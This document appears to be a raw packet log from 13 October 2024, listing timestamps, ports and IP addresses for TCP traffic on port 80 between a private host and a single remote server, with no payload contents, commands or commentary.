Oct 13, 2024 14:49:24.954458952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954473972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954483986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.954489946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954504967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954505920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.954519987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954530001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.954535007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954550982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954557896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.954567909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.954585075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.954612017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038414955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038455963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038470984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038491964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038539886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038556099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038557053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038558006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038572073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038583040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038604021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038620949 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038748026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038764000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038779020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038786888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038857937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038857937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038857937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038876057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038892031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038906097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.038925886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038944960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.038980007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039076090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039092064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039105892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039120913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039128065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039135933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039145947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039150953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039166927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039174080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039174080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039182901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039216995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039238930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039320946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039354086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039380074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039427042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039449930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039464951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039479971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039504051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039536953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039670944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039686918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039700985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039716005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039724112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039731026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039747953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039753914 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039762974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039771080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039777040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039799929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039829016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.039926052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.039979935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040003061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040018082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040033102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040047884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040054083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040066957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040076017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040108919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040208101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040222883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040239096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040246964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040265083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040287971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040385008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040400982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040415049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040427923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040441036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040442944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040453911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040457010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040471077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040482998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040486097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040499926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040524006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040541887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040739059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040755987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040770054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040781975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040786028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040802002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040812016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040836096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040879011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040913105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040929079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040944099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040955067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040957928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040971994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.040978909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040992975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.040993929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041007042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041007996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041023970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041033983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041038990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041049004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041058064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041070938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041079044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041085005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041099072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041100979 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041114092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041126966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041157007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041778088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041794062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041809082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041821957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041834116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041836023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041850090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041851044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041865110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041877985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041882038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041892052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041902065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041907072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041920900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041922092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041934967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041948080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041949034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041963100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041976929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.041982889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.041991949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042006016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042011023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042021036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042036057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042038918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042064905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042081118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042431116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042445898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042459011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042474031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042479992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042488098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042494059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042503119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042516947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042536974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042537928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042548895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042570114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042572975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042586088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042593956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042603016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042608976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042618990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042624950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042634964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042642117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042649984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042659998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042663097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042676926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042685986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042691946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042694092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042706013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042717934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042721033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042735100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042742014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042748928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.042773008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.042790890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043405056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043421030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043435097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043450117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043457031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043464899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043478966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043479919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043493986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043503046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043509007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043523073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043524027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.043553114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.043584108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127317905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127341986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127357960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127377033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127381086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127398968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127449036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127470970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127485991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127516031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127527952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127585888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127602100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127619028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127638102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127662897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127758026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127774000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127789974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127805948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127821922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.127834082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127876043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127876043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.127999067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128012896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128027916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128036022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128042936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128057003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128060102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128072023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128073931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128086090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128101110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128118992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128143072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128164053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128241062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128264904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128282070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128300905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128361940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128376007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128391981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128398895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128407001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128408909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128432989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128468990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128492117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128505945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128520012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128539085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128557920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128567934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128576040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128588915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128592014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128603935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128612995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128618956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128633976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128634930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128654003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128688097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128891945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128909111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128923893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.128937006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128953934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.128978014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.129039049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.129054070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.129066944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.129076958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.129081964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.129096031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.129103899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.129120111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.129157066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.177426100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.182391882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406133890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406153917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406244993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406289101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406369925 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406384945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406399965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406419992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406455994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406492949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406508923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406524897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406543970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406547070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406564951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406565905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406603098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406614065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406630039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406655073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406696081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406712055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406713963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406727076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406737089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406743050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406797886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406817913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.406882048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.406905890 CEST	80	49720	185.215.113.37	192.168.2.6
